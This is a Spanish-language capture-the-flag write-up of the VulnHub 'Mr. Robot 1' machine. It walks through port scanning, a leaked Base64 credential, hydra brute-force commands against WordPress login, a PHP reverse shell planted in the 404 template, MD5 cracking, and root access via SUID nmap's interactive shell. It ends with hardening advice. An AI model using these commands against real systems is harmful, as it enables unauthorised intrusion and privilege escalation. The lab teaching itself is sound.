VulnHub — MrRobot

VulnHub: Mr. Robot 1 — Writeup Completo y Hardening

Mr. Robot 1 es una máquina virtual vulnerable de VulnHub inspirada en la popular serie de televisión Mr. Robot. El objetivo es localizar tres claves (flags) ocultas en diferentes ubicaciones del sistema, las cuales aumentan en dificultad de obtención a medida que avanzamos.

Este writeup cubre todo el proceso de intrusión, desde el reconocimiento inicial hasta la escalada de privilegios a Root, analizando caminos alternativos (silenciosos vs. ruidosos) y cómo mitigar estas vulnerabilidades en producción.

Ficha Técnica

Parámetro Detalle
Máquina Mr-Robot: 1 (VulnHub)
Autor Leon Johnson
Sistema Operativo Linux
Dificultad Principiante – Intermedio
Objetivo Obtener 3 Claves (Flags)

Resumen de la Cadena de Compromiso (TL;DR)

  1. Reconocimiento: Escaneo de puertos con nmap que identifica un servidor web Apache.
  2. Enumeración Web: Descubrimiento de un archivo robots.txt que expone la primera clave (key-1-of-3.txt) y un diccionario personalizado (fsocity.dic).
  3. Acceso Inicial (Dos vías):
    • Vía Silenciosa (Recomendada): Decodificación en Base64 de credenciales ocultas en /license.txt.
    • Vía Ruidosa: Fuerza bruta con hydra contra WordPress tras optimizar el diccionario.
  4. Intrusión: Edición de la plantilla 404.php de WordPress para subir una PHP Reverse Shell, logrando acceso interactivo como el usuario www-data.
  5. Escalada Horizontal: Descubrimiento y descifrado de un hash MD5 de la contraseña del usuario robot (abcdefghijklmnopqrstuvwxyz), ganando acceso local a su cuenta.
  6. Escalada Vertical (Root): Explotación de un binario antiguo de nmap con privilegios SUID mal configurados, ejecutando una shell interactiva como root.

Fase 1: Reconocimiento y Enumeración

Comenzamos verificando la disponibilidad del host objetivo y realizando un escaneo inicial de puertos TCP abiertos para acotar la superficie de ataque.

# Confirmamos conectividad básica
ping -c 3 <target-ip>

# Realizamos un escaneo SYN rápido
sudo nmap -sS -T4 -Pn <target-ip> -oN nmap/init
  • -sS: Ejecuta un escaneo SYN rápido y discreto (sin completar la conexión TCP de tres vías).
  • -T4: Acelera la velocidad del escaneo aplicando una plantilla de tiempos agresiva.
  • -Pn: Omite el ping previo al host (útil contra firewalls que bloquean ICMP).

A partir de los puertos detectados, realizamos un escaneo profundo sobre las versiones de servicio en los puertos 80 y 443:

sudo nmap -sV -p 80,443 -T4 <target-ip> -oN nmap/service

Resultados del Escaneo:

PORT    STATE  SERVICE  REASON         VERSION
22/tcp  closed ssh      reset ttl 64
80/tcp  open   http     syn-ack ttl 64 Apache httpd
443/tcp open   ssl/http syn-ack ttl 64 Apache httpd
NOTA: El puerto SSH (22) se reporta como cerrado. Esto significa que nuestro vector de ataque para el acceso inicial estará completamente centrado en los servicios HTTP/HTTPS.

Fase 2: Enumeración y Explotación Web

Ejecutamos herramientas de escaneo de vulnerabilidades generales e inspección de directorios web ocultos utilizando nikto y gobuster.

# Enumeración de archivos y carpetas
gobuster dir -u http://<target-ip>/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,php -o gobuster.common

# Auditoría rápida con Nikto
nikto -h http://<target-ip>/ -Format=txt -o nikto.log

gobuster reporta la existencia de directorios clave en el servidor:

/robots.txt           (Status: 200) [Size: 41]
/wp-login.php         (Status: 200) [Size: 2657]
/license.txt          (Status: 200) [Size: 309]

El Archivo robots.txt y la Obtención del Diccionario

Revisando la ruta /robots.txt encontramos la referencia a dos archivos críticos del sistema:

curl http://<target-ip>/robots.txt

Salida obtenida:

User-agent: *
fsocity.dic
key-1-of-3.txt

Procedemos de inmediato a descargar ambos archivos en nuestro host de ataque. El archivo key-1-of-3.txt nos provee directamente el primer flag del desafío:

wget http://<target-ip>/key-1-of-3.txt
wget http://<target-ip>/fsocity.dic
¡Logro Obtenido! Clave 1 de 3: 073403c8a58a1f80d943455fb30724b9

Fase 3: Acceso Inicial a WordPress (Vías Alternativas)

Una vez localizado el portal de WordPress en /wp-login.php, disponemos de dos metodologías para obtener acceso administrativo.

Método A: Enumeración Silenciosa (Vía Recomendada / Intended)

En lugar de lanzar ruido inmediato a la red, analizamos a fondo el archivo /license.txt expuesto:

curl http://<target-ip>/license.txt

La salida del archivo contiene un reto e irónicamente expone un string codificado en la parte inferior:

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
do you want a password or something?

ZWxsaW90OkVSMjgtMDY1Mgo=

Decodificamos este hash en Base64 en nuestro equipo de ataque:

echo 'ZWxsaW90OkVSMjgtMDY1Mgo=' | base64 -d

Resultado: elliot:ER28-0652. Con esto evitamos la necesidad de realizar fuerza bruta.

Método B: Fuerza Bruta con Hydra (Vía Ruidosa)

Si optamos por la fuerza bruta usando el archivo fsocity.dic, debemos optimizar el diccionario primero eliminando duplicados:

sort fsocity.dic | uniq > fsocity.uniq

A continuación, usamos hydra para identificar un usuario existente en WordPress:

hydra -L fsocity.uniq -p "password_dummy" <target-ip> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

Esto nos confirma la existencia del usuario Elliot. Ejecutamos fuerza bruta para obtener su clave:

hydra -l Elliot -P fsocity.uniq <target-ip> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

Ambas metodologías concluyen con las mismas credenciales de acceso:

  • Usuario: Elliot
  • Contraseña: ER28-0652

Fase 4: Intrusión y Obtención de Consola (Shell)

Iniciamos sesión en http://<target-ip>/wp-admin. Modificamos la plantilla 404 Template (404.php) en Appearance > Editor, reemplazándola por una PHP Reverse Shell en la que configuramos nuestro puerto y dirección IP.

Abrimos el listener TCP en nuestra consola local y forzamos el error 404 visitando un recurso inexistente en la web para activar la ejecución remota de código (RCE):

# En nuestra máquina local
nc -lvnp 8001

Estabilización de TTY

Procedemos a estabilizar la consola remota obtenida para poder operar con interactividad:

# Spawn de shell interactiva con python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# (Presionamos Ctrl+Z para pausar y enviar la shell al background)

# Configuramos la terminal local en modo RAW
stty raw -echo; fg

# Importamos la variable TERM
export TERM=xterm

Fase 5: Escalada de Privilegios Horizontal (robot)

Listamos el directorio del usuario robot:

ls -la /home/robot

Salida:

-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

No podemos leer la clave directamente debido a los permisos restrictivos. Leemos el archivo password.raw-md5:

robot:c3fcd3d76192e4007dfb496cca67e13b

Descifrado del Hash de Contraseña

Utilizamos John the Ripper con el diccionario rockyou.txt para crackear el MD5:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt password.txt

La contraseña en texto plano es abcdefghijklmnopqrstuvwxyz. Migramos de usuario:

su robot
# Contraseña: abcdefghijklmnopqrstuvwxyz

Leemos el segundo flag:

cat /home/robot/key-2-of-3.txt
¡Logro Obtenido! Clave 2 de 3: 822c73956184f694993bede3eb39f959

Fase 6: Escalada de Privilegios Vertical (Root)

Enumeración Manual de SUID (Sigilosa)

En lugar de ejecutar scripts externos que dejen huella en el sistema, realizamos una búsqueda sigilosa manual de ejecutables con bit SUID configurado:

find / -xdev -user root -perm -4000 -type f 2>/dev/null

El escaneo expone un binario crítico con permisos especiales:

-rwsr-xr-x 1 root root 493K Nov 13  2015 /usr/local/bin/nmap

Explotación del SUID de Nmap

El binario nmap está configurado con SUID de root. Al tratarse de una versión antigua (v3.81), cuenta con un modo de ejecución interactivo que nos permite spawnear subprocesos con el UID efectivo de root:

# Iniciamos el modo interactivo de Nmap
/usr/local/bin/nmap --interactive

# Invocamos una shell
nmap> !sh

Validamos que somos Root y extraemos el último flag en el directorio del administrador:

id
# uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root)

cat /root/key-3-of-3.txt
¡Logro Obtenido! Clave 3 de 3 (Root): 04787ddef27c3dee1ee161b21670b4e4

Recomendaciones de Seguridad y Hardening

1. Deshabilitar el Editor de Código Integrado en WordPress

Permitir a los administradores editar código PHP desde la interfaz web abre una vía inmediata a RCE tras una fuga de credenciales.

Solución: Añadir la directiva de seguridad en el archivo wp-config.php:

define('DISALLOW_FILE_EDIT', true);

2. No Exponer Credenciales en Archivos Públicos Estáticos

El uso de archivos como /license.txt para almacenar credenciales (incluso codificadas en Base64) facilita la intrusión sigilosa de los atacantes.

Solución: Eliminar cualquier dato de credenciales, comentarios de depuración o secretos de la estructura pública del servidor web.

3. Implementar Rate Limiting y Protección contra Fuerza Bruta

WordPress permite ataques ilimitados por defecto al endpoint de autenticación.

Solución: Limitar el ratio de peticiones (Rate Limiting) en Nginx/Apache y forzar políticas de contraseñas robustas junto con autenticación en dos factores (2FA).

4. Restringir Permisos SUID Innecesarios

Otorgar bit SUID a herramientas que permitan interactuar con la shell (como Nmap o editores de texto) compromete totalmente la seguridad del host.

Solución: Auditar y remover el bit SUID de estos binarios ejecutando:

sudo chmod u-s /usr/local/bin/nmap